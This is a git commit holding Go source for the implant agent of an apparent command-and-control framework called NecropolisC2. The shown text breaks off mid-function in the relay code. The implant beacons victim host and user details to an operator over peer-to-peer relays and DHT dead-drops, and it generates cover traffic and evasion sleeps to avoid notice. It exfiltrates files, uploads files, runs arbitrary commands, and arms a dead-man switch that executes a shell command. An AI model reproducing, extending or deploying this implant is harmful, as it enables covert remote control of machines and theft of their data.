update readme

This commit is contained in:
2026-07-07 04:37:29 +01:00
commit 50cbc601d5
69 changed files with 15056 additions and 0 deletions
+838
View File
@@ -0,0 +1,838 @@
package core
import (
"bytes"
"context"
"crypto/rand"
"encoding/binary"
"fmt"
"io"
"log"
"os"
"os/user"
"runtime"
"runtime/debug"
"sort"
"sync"
"time"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
"github.com/multiformats/go-multiaddr"
"google.golang.org/protobuf/proto"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
"github.com/Yenn503/NecropolisC2/pkg/transport"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
)
type Agent struct {
node *transport.Node
messenger *transport.Messenger
keys *cryptography.ImplantKey
operatorPub crypto.PubKey
boxPubKey *[32]byte
authToken []byte
config AgentConfig
ctx context.Context
cancel context.CancelFunc
connected bool
connectedMu sync.Mutex
wg sync.WaitGroup
beaconStream network.Stream
beaconMu sync.Mutex
beaconWriteMu sync.Mutex
deadManCmd string
deadManTimeout time.Duration
deadManTimer *time.Timer
relayPeers map[peer.ID]*relayPeerInfo
relayMu sync.RWMutex
lastDHTNonce int64
implantBoxKeys *cryptography.BoxKeyPair
}
type AgentConfig struct {
OperatorAddr string
WSSAddr string
BeaconInterval time.Duration
BeaconJitter time.Duration
ReconnectBackoff time.Duration
RelayAddrs []string
CoverTraffic bool
CoverInterval time.Duration
CoverJitter time.Duration
}
func DefaultAgentConfig() AgentConfig {
return AgentConfig{
BeaconInterval: 10 * time.Second,
BeaconJitter: 5 * time.Second,
ReconnectBackoff: 5 * time.Second,
CoverTraffic: true,
CoverInterval: 4 * time.Second,
CoverJitter: 3 * time.Second,
}
}
func loadOperatorPubKey() (crypto.PubKey, error) {
if len(embeddedOperatorPubKey) == 0 {
return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
}
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
}
func loadOperatorBoxPubKey() *[32]byte {
if len(embeddedOperatorBoxPubKey) != 32 {
return nil
}
var key [32]byte
copy(key[:], embeddedOperatorBoxPubKey)
return &key
}
func loadAuthToken() []byte {
if len(embeddedAuthToken) != 32 {
return nil
}
return embeddedAuthToken
}
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
if len(embeddedImplantPrivKey) == 0 {
return nil, fmt.Errorf("no embedded implant private key — rebuild with necropolis generate")
}
priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey)
if err != nil {
return nil, fmt.Errorf("unmarshal implant key: %w", err)
}
pub := priv.GetPublic()
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from implant key: %w", err)
}
return &cryptography.ImplantKey{
KeyPair: cryptography.KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
OperatorPubKey: operatorPub,
}, nil
}
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
ctx, cancel := context.WithCancel(ctx)
operatorPub, err := loadOperatorPubKey()
if err != nil {
cancel()
return nil, fmt.Errorf("load operator pubkey: %w", err)
}
keys, err := loadImplantKey(operatorPub)
if err != nil {
cancel()
return nil, fmt.Errorf("load implant key: %w", err)
}
nodeCfg := transport.NodeConfig{
ListenAddr: "/ip4/0.0.0.0/tcp/0/ws",
BootstrapPeers: transport.DefaultBootstrapAddrs(),
EnableRelay: true,
EnableRelayService: true,
EnableMDNS: false,
EnableDHT: true,
RelayAddrs: cfg.RelayAddrs,
PrivateKey: keys.PrivateKey,
}
node, err := transport.NewNode(ctx, nodeCfg,
libp2p.NoTransports,
libp2p.Transport(ws.New),
libp2p.Transport(tcp.NewTCPTransport),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create node: %w", err)
}
boxPub := loadOperatorBoxPubKey()
authToken := loadAuthToken()
implantBoxKeys, err := cryptography.GenerateBoxKey()
if err != nil {
cancel()
node.Close()
return nil, fmt.Errorf("generate implant box key: %w", err)
}
a := &Agent{
keys: keys,
operatorPub: operatorPub,
boxPubKey: boxPub,
authToken: authToken,
node: node,
config: cfg,
ctx: ctx,
cancel: cancel,
relayPeers: make(map[peer.ID]*relayPeerInfo),
implantBoxKeys: implantBoxKeys,
}
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
a.messenger.SetAuthToken(authToken)
a.messenger.SetHandler(a.handleCommand)
return a, nil
}
func (a *Agent) Start() error {
log.Printf("[implant] PeerID: %s", a.node.ID().String())
log.Printf("[implant] Operator: %s", a.messenger.BeaconTopic())
if a.config.OperatorAddr != "" {
m, err := multiaddr.NewMultiaddr(a.config.OperatorAddr)
if err != nil {
return fmt.Errorf("parse operator addr %s: %w", a.config.OperatorAddr, err)
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
return fmt.Errorf("parse operator peer info: %w", err)
}
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
return fmt.Errorf("connect to operator: %w", err)
}
log.Printf("[implant] connected to operator directly: %s", pi.ID.String())
}
if a.config.WSSAddr != "" {
m, err := multiaddr.NewMultiaddr(a.config.WSSAddr)
if err == nil {
pi, err := peer.AddrInfoFromP2pAddr(m)
if err == nil {
if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil {
log.Printf("[implant] WSS fallback connect: %v", err)
} else {
log.Printf("[implant] connected via WSS: %s", a.config.WSSAddr)
}
}
}
}
log.Printf("[implant] starting discovery...")
if err := a.node.StartDiscovery(); err != nil {
return fmt.Errorf("discovery: %w", err)
}
log.Printf("[implant] subscribing to commands...")
if err := a.messenger.ListenCommands(a.ctx); err != nil {
return fmt.Errorf("listen commands: %w", err)
}
if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil {
return fmt.Errorf("listen task: %w", err)
}
a.node.SetStreamHandler(transport.CmdProtocolID, a.handleCommandStream)
ns := a.messenger.RendezvousString()
if a.node.DHT != nil {
a.wg.Add(1)
go a.discoverOperatorLoop(ns)
}
a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream)
a.node.SetStreamHandler(transport.PortfwdProtocolID, a.handlePortfwdStream)
a.node.SetStreamHandler(transport.SocksProtocolID, a.handleSocksStream)
a.wg.Add(1)
go a.beaconLoop()
if a.config.CoverTraffic {
a.wg.Add(1)
go a.coverTrafficLoop()
}
a.wg.Add(1)
go a.streamKeepaliveLoop()
if a.node.DHT != nil {
relayNS := a.relayRendezvous()
a.wg.Add(1)
go a.advertiseRelayLoop(relayNS)
a.wg.Add(1)
go a.discoverRelaysLoop(relayNS)
a.wg.Add(1)
go a.pollDHTCmdLoop()
}
return nil
}
func (a *Agent) discoverOperatorLoop(ns string) {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverOperatorLoop: %v", r)
}
}()
log.Printf("[implant] DHT discovery started for: %s", ns)
for {
if a.node.DHT != nil {
rt := a.node.DHT.RoutingTable()
if rt != nil && rt.Size() >= 5 {
break
}
}
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(2 * time.Second)
}
for {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverOperatorLoop iteration: %v", r)
}
}()
peerCh, err := a.node.FindPeers(a.ctx, ns)
if err != nil {
log.Printf("[implant] DHT find peers: %v", err)
return
}
for pi := range peerCh {
if pi.ID == a.node.ID() || pi.ID != a.messenger.OperatorID() || len(pi.Addrs) == 0 {
continue
}
if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
continue
}
a.connectedMu.Lock()
if !a.connected {
a.connected = true
a.connectedMu.Unlock()
log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
go a.sendBeaconDirect(pi.ID)
} else {
a.beaconMu.Lock()
streamNil := a.beaconStream == nil
a.beaconMu.Unlock()
a.connectedMu.Unlock()
if streamNil {
log.Printf("[implant] beacon stream nil, reconnecting to %s", pi.ID.String())
go a.sendBeaconDirect(pi.ID)
}
}
}
a.connectedMu.Lock()
cs := a.node.Host.Network().Connectedness(a.messenger.OperatorID())
if a.connected && cs != network.Connected && cs != network.Limited {
a.connected = false
}
a.connectedMu.Unlock()
}()
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(15 * time.Second)
}
}
func cryptoJitter(max time.Duration) time.Duration {
if max <= 0 {
return 0
}
var buf [8]byte
rand.Read(buf[:])
n := int64(binary.LittleEndian.Uint64(buf[:]) & 0x7FFFFFFFFFFFFFFF)
return time.Duration(n % int64(max))
}
func (a *Agent) beaconLoop() {
defer a.wg.Done()
for {
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in beaconLoop: %v\n%s", r, debug.Stack())
}
}()
a.sendBeaconRegister()
}()
jitter := cryptoJitter(a.config.BeaconJitter)
sleep := a.config.BeaconInterval + jitter
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(sleep)
}
}
func (a *Agent) streamKeepaliveLoop() {
defer a.wg.Done()
for {
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(5 * time.Second)
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in streamKeepaliveLoop: %v\n%s", r, debug.Stack())
}
}()
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if !connected {
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
if err := a.sendEnvelopeDirect(opID, env); err != nil {
}
}()
}
}
func (a *Agent) coverTrafficLoop() {
defer a.wg.Done()
for {
jitter := cryptoJitter(a.config.CoverJitter)
sleep := a.config.CoverInterval + jitter
select {
case <-a.ctx.Done():
return
default:
}
EvasionSleep(sleep)
func() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in coverTrafficLoop: %v\n%s", r, debug.Stack())
}
}()
a.sendCoverTraffic()
}()
}
}
func (a *Agent) sendCoverTraffic() {
env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil)
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] cover traffic: %v", err)
}
}
func (a *Agent) buildRegisterPayload() ([]byte, error) {
hostname, _ := os.Hostname()
username := os.Getenv("USER")
if username == "" {
username = os.Getenv("USERNAME")
}
if u, err := user.Current(); err == nil && u.Name != "" {
username = u.Name
} else if err == nil && u.Username != "" {
username = u.Username
}
uid, gid := "", ""
if runtime.GOOS != "windows" {
uid = fmt.Sprintf("%d", os.Getuid())
gid = fmt.Sprintf("%d", os.Getgid())
}
reg := &apb.Register{
Name: username,
Hostname: hostname,
UUID: a.node.ID().String(),
Username: username,
UID: uid,
GID: gid,
OS: runtime.GOOS,
Arch: runtime.GOARCH,
PID: int32(os.Getpid()),
Filename: os.Args[0],
Version: "0.1.0",
Locale: os.Getenv("LANG"),
ActiveC2: a.messenger.OperatorID().String(),
BoxPubKey: a.boxPubKey[:],
}
beaconReg := &apb.Z1{
ID: a.node.ID().String(),
Interval: int64(a.config.BeaconInterval.Seconds()),
Jitter: int64(a.config.BeaconJitter.Seconds()),
Register: reg,
}
data, err := proto.Marshal(beaconReg)
if err != nil {
return nil, err
}
return data, nil
}
func (a *Agent) sendBeaconRegister() {
beaconData, err := a.buildRegisterPayload()
if err != nil {
log.Printf("[implant] marshal beacon register: %v", err)
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if connected {
if err := a.sendEnvelopeDirect(opID, env); err == nil {
log.Printf("[implant] sent beacon register to %s", opID.String())
return
}
}
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] send register: %v", err)
}
}
func (a *Agent) sendBeaconDirect(operatorID peer.ID) {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in sendBeaconDirect: %v", r)
}
}()
log.Printf("[implant] sending direct beacon to %s", operatorID.String())
beaconData, err := a.buildRegisterPayload()
if err != nil {
log.Printf("[implant] direct beacon marshal: %v", err)
return
}
env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData)
if err := a.sendEnvelopeDirect(operatorID, env); err != nil {
log.Printf("[implant] direct beacon send: %v", err)
a.connectedMu.Lock()
a.connected = false
a.connectedMu.Unlock()
return
}
log.Printf("[implant] sent direct beacon to %s", operatorID.String())
}
func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
log.Printf("[implant] dropped command — %v", err)
return
}
if !bytes.Equal(env.Token, a.authToken) {
log.Printf("[implant] dropped command — auth token mismatch")
return
}
if a.messenger.IsReplay(env.ID) {
log.Printf("[implant] dropped replay — type=%d id=%d", env.Type, env.ID)
return
}
log.Printf("[implant] received command type=%d", env.Type)
if a.implantBoxKeys != nil && len(env.Data) > 0 {
decrypted, err := cryptography.DecryptMessage(env.Data, a.implantBoxKeys)
if err == nil {
env.Data = decrypted
log.Printf("[implant] decrypted command type=%d", env.Type)
}
}
if a.deadManTimer != nil {
a.deadManTimer.Reset(a.deadManTimeout)
}
switch env.Type {
case transport.MsgTypePs:
a.handlePs(env)
case transport.MsgTypeDownload:
a.handleDownload(env)
case transport.MsgTypeUpload:
a.handleUpload(env)
case transport.MsgTypeScreenshot:
a.handleScreenshot(env)
case transport.MsgTypeLs:
a.handleLs(env)
case transport.MsgTypeCd:
a.handleCd(env)
case transport.MsgTypePwd:
a.handlePwd(env)
case transport.MsgTypeExecute:
a.handleExecute(env)
case transport.MsgTypeKill:
a.handleKill(env)
case transport.MsgTypeDeadMan:
a.handleDeadMan(env)
default:
log.Printf("[implant] unknown cmd type=%d", env.Type)
}
}
func (a *Agent) handleCommandStream(s network.Stream) {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in handleCommandStream: %v\n%s", r, debug.Stack())
}
}()
defer s.Close()
remotePeer := s.Conn().RemotePeer()
log.Printf("[implant] command stream from %s", remotePeer.String())
var msgLen uint32
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
log.Printf("[implant] command stream read len: %v", err)
return
}
if msgLen > 1<<20 {
return
}
data := make([]byte, msgLen)
if _, err := io.ReadFull(s, data); err != nil {
log.Printf("[implant] command stream read data: %v", err)
return
}
env := &apb.Envelope{}
if err := proto.Unmarshal(data, env); err != nil {
log.Printf("[implant] command stream unmarshal: %v", err)
return
}
a.handleCommand(a.ctx, env, nil)
}
func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
ctx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
defer cancel()
ctx = network.WithAllowLimitedConn(ctx, "beacon stream")
s, err := a.node.NewStream(ctx, operatorID, transport.BeaconProtocolID)
if err != nil {
return nil, fmt.Errorf("open stream: %w", err)
}
return s, nil
}
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
var data []byte
if a.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
data = encrypted
} else {
data = env.Data
}
wireEnv := &apb.Envelope{
ID: env.ID,
Type: env.Type,
Data: data,
Token: env.Token,
}
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
if err == nil {
wireEnv.SenderKey = pubBytes
}
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
sig, err := a.keys.PrivateKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
wireEnv.Signature = sig
s := a.getBeaconStream(operatorID)
if s == nil {
return fmt.Errorf("nil beacon stream")
}
envData, err := proto.Marshal(wireEnv)
if err != nil {
return fmt.Errorf("marshal: %w", err)
}
a.beaconWriteMu.Lock()
defer a.beaconWriteMu.Unlock()
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
s.Close()
a.setBeaconStream(nil)
return fmt.Errorf("write len: %w", err)
}
if _, err := s.Write(envData); err != nil {
s.Close()
a.setBeaconStream(nil)
return fmt.Errorf("write data: %w", err)
}
s.SetWriteDeadline(time.Time{})
return nil
}
func (a *Agent) getBeaconStream(operatorID peer.ID) network.Stream {
a.beaconMu.Lock()
s := a.beaconStream
if s != nil {
a.beaconMu.Unlock()
return s
}
a.beaconMu.Unlock()
cs := a.node.Host.Network().Connectedness(operatorID)
if cs == network.Connected || cs == network.Limited {
s, err := a.openBeaconStream(operatorID)
if err == nil {
return a.setOrCloseBeaconStream(s, "direct")
}
}
a.relayMu.RLock()
var candidates []peer.ID
for id, rp := range a.relayPeers {
if rp.connected {
candidates = append(candidates, id)
}
}
// prefer relays with fewer failures — cheapest signal available
sort.Slice(candidates, func(i, j int) bool {
return a.relayPeers[candidates[i]].failCount < a.relayPeers[candidates[j]].failCount
})
a.relayMu.RUnlock()
for _, relayID := range candidates {
circuitAddr := fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s",
relayID.String(), operatorID.String())
m, err := multiaddr.NewMultiaddr(circuitAddr)
if err != nil {
continue
}
connCtx, cancel := context.WithTimeout(a.ctx, 15*time.Second)
err = a.node.ConnectToPeer(connCtx, peer.AddrInfo{ID: operatorID, Addrs: []multiaddr.Multiaddr{m}})
cancel()
if err != nil {
log.Printf("[implant] relay %s to operator: %v", relayID.String(), err)
continue
}
log.Printf("[implant] connected to operator via relay %s", relayID.String())
s, err := a.openBeaconStream(operatorID)
if err == nil {
return a.setOrCloseBeaconStream(s, "relayed")
}
}
return nil
}
func (a *Agent) setBeaconStream(s network.Stream) {
a.beaconMu.Lock()
a.beaconStream = s
a.beaconMu.Unlock()
}
func (a *Agent) setOrCloseBeaconStream(s network.Stream, via string) network.Stream {
a.beaconMu.Lock()
if a.beaconStream == nil {
a.beaconStream = s
} else {
s.Close()
s = a.beaconStream
}
a.beaconMu.Unlock()
log.Printf("[implant] persistent beacon stream opened (%s)", via)
return s
}
func (a *Agent) pollDHTCmdLoop() {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in pollDHTCmdLoop: %v", r)
}
}()
if !a.node.WaitForDHT(a.ctx) {
return
}
opID := a.messenger.OperatorID()
for {
nonce := a.lastDHTNonce + 1
key := transport.CommandDHTKey(opID, nonce)
val, err := a.node.GetDHTValue(a.ctx, key)
if err != nil || len(val) == 0 {
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
continue
}
env := &apb.Envelope{}
if err := proto.Unmarshal(val, env); err != nil {
log.Printf("[implant] dht dead-drop unmarshal: %v", err)
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
continue
}
a.handleCommand(a.ctx, env, nil)
a.lastDHTNonce = nonce
select {
case <-a.ctx.Done():
return
case <-time.After(30 * time.Second):
}
}
}
func (a *Agent) Close() error {
a.cancel()
a.wg.Wait()
return a.node.Close()
}
+317
View File
@@ -0,0 +1,317 @@
package core
import (
"encoding/json"
"errors"
"fmt"
"io"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"time"
"google.golang.org/protobuf/proto"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
"github.com/Yenn503/NecropolisC2/pkg/transport"
)
func (a *Agent) sendError(msgType uint32, errMsg string) {
errResp := &cpb.Response{Err: 1, ErrMsg: errMsg}
errData, _ := proto.Marshal(errResp)
a.sendResult(msgType, errData)
}
func (a *Agent) sendResult(resultType uint32, data []byte) {
env := a.messenger.CreateEnvelope(resultType, data)
a.connectedMu.Lock()
connected := a.connected
opID := a.messenger.OperatorID()
a.connectedMu.Unlock()
if connected {
if err := a.sendEnvelopeDirect(opID, env); err != nil {
log.Printf("[implant] direct result failed, fallback pubsub: %v", err)
} else {
return
}
}
topic := a.messenger.BeaconTopic()
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
log.Printf("[implant] send result: %v", err)
}
}
func (a *Agent) handlePs(env *apb.Envelope) {
result := &apb.Z13{}
result.Processes = listProcesses()
data, _ := proto.Marshal(result)
log.Printf("[implant] ps result: %d processes", len(result.Processes))
a.sendResult(transport.MsgTypePs, data)
}
func (a *Agent) handleDownload(env *apb.Envelope) {
req := &apb.Z22{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeDownload, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z23{Path: req.Path}
fi, err := os.Stat(req.Path)
if err != nil {
result.Exists = false
respData, _ := proto.Marshal(result)
a.sendResult(transport.MsgTypeDownload, respData)
return
}
const maxDownloadSize = 100 << 20 // 100MB
if fi.Size() > maxDownloadSize {
result.Exists = true
result.Response = &cpb.Response{Err: 1, ErrMsg: "file too large"}
respData, _ := proto.Marshal(result)
log.Printf("[implant] download %s: too large (%d bytes)", req.Path, fi.Size())
a.sendResult(transport.MsgTypeDownload, respData)
return
}
data, err := os.ReadFile(req.Path)
if err != nil {
result.Exists = false
} else {
result.Exists = true
result.Data = data
}
respData, _ := proto.Marshal(result)
log.Printf("[implant] download %s: %d bytes", req.Path, len(data))
a.sendResult(transport.MsgTypeDownload, respData)
}
// whole file in one proto message works for the 100MB cap. For larger files,
// swap to chunked streaming with a WriteAt loop and per-chunk acks.
func (a *Agent) handleUpload(env *apb.Envelope) {
req := &apb.Z24{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeUpload, fmt.Sprintf("unmarshal: %v", err))
return
}
const maxUploadSize = 100 << 20
if len(req.Data) > maxUploadSize {
log.Printf("[implant] upload %s: too large (%d bytes)", req.Path, len(req.Data))
result := &apb.Z25{
Path: req.Path,
Response: &cpb.Response{Err: 1, ErrMsg: "file too large"},
}
respData, _ := proto.Marshal(result)
a.sendResult(transport.MsgTypeUpload, respData)
return
}
result := &apb.Z25{Path: req.Path}
perm := os.FileMode(0644)
if req.Overwrite {
if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
} else {
result.BytesWritten = int32(len(req.Data))
}
} else {
if _, err := os.Stat(req.Path); err == nil {
result.Response = &cpb.Response{Err: 1, ErrMsg: "file already exists"}
} else if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
} else {
result.BytesWritten = int32(len(req.Data))
}
}
respData, _ := proto.Marshal(result)
log.Printf("[implant] upload %s: %d bytes", req.Path, len(req.Data))
a.sendResult(transport.MsgTypeUpload, respData)
}
func (a *Agent) handleScreenshot(env *apb.Envelope) {
log.Printf("[implant] screenshot requested (not implemented on this platform)")
result := &apb.Z3{
Response: &cpb.Response{Err: 1, ErrMsg: "screenshot not implemented on this platform"},
}
data, _ := proto.Marshal(result)
a.sendResult(transport.MsgTypeScreenshot, data)
}
func (a *Agent) handleCd(env *apb.Envelope) {
req := &apb.Z19{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeCd, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z21{}
if err := os.Chdir(req.Path); err != nil {
result.Path = req.Path
result.Response = &cpb.Response{Err: 1, ErrMsg: err.Error()}
} else {
result.Path, _ = os.Getwd()
}
data, _ := proto.Marshal(result)
log.Printf("[implant] cd %s -> %s", req.Path, result.Path)
a.sendResult(transport.MsgTypeCd, data)
}
func (a *Agent) handlePwd(env *apb.Envelope) {
result := &apb.Z21{}
result.Path, _ = os.Getwd()
data, _ := proto.Marshal(result)
log.Printf("[implant] pwd: %s", result.Path)
a.sendResult(transport.MsgTypePwd, data)
}
func (a *Agent) handleKill(env *apb.Envelope) {
log.Printf("[implant] kill received, shutting down")
buf := make([]byte, 4096)
n := runtime.Stack(buf, false)
log.Printf("[implant] kill stack:\n%s", string(buf[:n]))
a.sendResult(transport.MsgTypeKill, nil)
time.Sleep(100 * time.Millisecond)
os.Exit(0)
}
func (a *Agent) handleDeadMan(env *apb.Envelope) {
var msg struct {
Command string `json:"command"`
Timeout int `json:"timeout_seconds"`
}
if err := json.Unmarshal(env.Data, &msg); err != nil {
return
}
a.deadManCmd = msg.Command
a.deadManTimeout = time.Duration(msg.Timeout) * time.Second
if a.deadManTimer != nil {
a.deadManTimer.Stop()
}
if a.deadManCmd == "" || a.deadManTimeout <= 0 {
a.deadManTimer = nil
return
}
a.deadManTimer = time.AfterFunc(a.deadManTimeout, func() {
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd.exe", "/c", a.deadManCmd)
} else {
cmd = exec.Command("sh", "-c", a.deadManCmd)
}
cmd.Run()
})
}
func (a *Agent) handleLs(env *apb.Envelope) {
req := &apb.Z16{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeLs, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z17{Path: req.Path}
fi, err := os.Stat(req.Path)
if err != nil {
result.Exists = false
} else {
result.Exists = true
if fi.IsDir() {
entries, err := os.ReadDir(req.Path)
if err != nil {
result.Exists = false
} else {
for _, e := range entries {
info, _ := e.Info()
entry := &apb.Z18{
Name: e.Name(),
IsDir: e.IsDir(),
}
if e.Type()&os.ModeSymlink != 0 {
link, _ := os.Readlink(filepath.Join(req.Path, e.Name()))
entry.Link = link
}
if info != nil {
entry.Size = info.Size()
entry.ModTime = info.ModTime().Unix()
entry.Mode = info.Mode().String()
}
result.Files = append(result.Files, entry)
}
}
} else {
entry := &apb.Z18{
Name: fi.Name(),
IsDir: false,
Size: fi.Size(),
ModTime: fi.ModTime().Unix(),
Mode: fi.Mode().String(),
}
if fi.Mode()&os.ModeSymlink != 0 {
link, _ := os.Readlink(req.Path)
entry.Link = link
}
result.Files = append(result.Files, entry)
}
}
data, _ := proto.Marshal(result)
log.Printf("[implant] ls %s: %d entries", req.Path, len(result.Files))
a.sendResult(transport.MsgTypeLs, data)
}
func (a *Agent) handleExecute(env *apb.Envelope) {
req := &apb.Z14{}
if err := proto.Unmarshal(env.Data, req); err != nil {
a.sendError(transport.MsgTypeExecute, fmt.Sprintf("unmarshal: %v", err))
return
}
result := &apb.Z15{}
if req.Output {
cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
out, err := cmd.CombinedOutput()
if err != nil {
var exitErr *exec.ExitError
if errors.As(err, &exitErr) {
result.Status = uint32(exitErr.ExitCode())
} else {
result.Status = 1
}
result.Stderr = []byte(err.Error())
}
result.Stdout = out
} else {
cmd := exec.Command(req.Path, req.Args...)
cmd.Stdout = io.Discard
cmd.Stderr = io.Discard
if err := cmd.Start(); err != nil {
var exitErr *exec.ExitError
if errors.As(err, &exitErr) {
result.Status = uint32(exitErr.ExitCode())
} else {
result.Status = 1
}
result.Stderr = []byte(err.Error())
} else {
result.Pid = uint32(cmd.Process.Pid)
go cmd.Wait()
}
}
data, _ := proto.Marshal(result)
log.Printf("[implant] execute %s: exit=%d stdout=%d", req.Path, result.Status, len(result.Stdout))
a.sendResult(transport.MsgTypeExecute, data)
}
+127
View File
@@ -0,0 +1,127 @@
package core
import (
"context"
"log"
"time"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
)
type relayPeerInfo struct {
peerID peer.ID
connected bool
lastSeen time.Time
failCount int
}
func (a *Agent) relayRendezvous() string {
return a.node.RelayRendezvousString(a.messenger.OperatorID())
}
func (a *Agent) advertiseRelayLoop(ns string) {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in advertiseRelayLoop: %v", r)
}
}()
if !a.node.WaitForDHT(a.ctx) {
return
}
for {
if err := a.node.AdvertiseRelay(a.ctx, ns); err != nil {
log.Printf("[implant] relay advertise: %v", err)
}
select {
case <-a.ctx.Done():
return
case <-time.After(60 * time.Second):
}
}
}
func (a *Agent) discoverRelaysLoop(ns string) {
defer a.wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] panic in discoverRelaysLoop: %v", r)
}
}()
if !a.node.WaitForDHT(a.ctx) {
return
}
opID := a.messenger.OperatorID()
for {
peers, err := a.node.FindRelayPeers(a.ctx, ns, 16)
if err != nil {
log.Printf("[implant] find relay peers: %v", err)
goto sleep
}
for _, pi := range peers {
if pi.ID == a.node.ID() || pi.ID == opID {
continue
}
a.relayMu.RLock()
existing := a.relayPeers[pi.ID]
a.relayMu.RUnlock()
if existing != nil && existing.connected {
continue
}
connCtx, cancel := context.WithTimeout(a.ctx, 10*time.Second)
err := a.node.ConnectToPeer(connCtx, pi)
cancel()
now := time.Now()
if err != nil {
log.Printf("[implant] relay connect %s: %v", pi.ID.String(), err)
a.relayMu.Lock()
if rp, ok := a.relayPeers[pi.ID]; ok {
rp.failCount++
rp.lastSeen = now
} else {
a.relayPeers[pi.ID] = &relayPeerInfo{
peerID: pi.ID,
connected: false,
lastSeen: now,
failCount: 1,
}
}
a.relayMu.Unlock()
continue
}
log.Printf("[implant] connected to relay peer %s", pi.ID.String())
a.relayMu.Lock()
a.relayPeers[pi.ID] = &relayPeerInfo{
peerID: pi.ID,
connected: true,
lastSeen: now,
}
a.relayMu.Unlock()
}
a.relayMu.Lock()
for id, rp := range a.relayPeers {
if rp.connected {
cs := a.node.Host.Network().Connectedness(id)
if cs != network.Connected && cs != network.Limited {
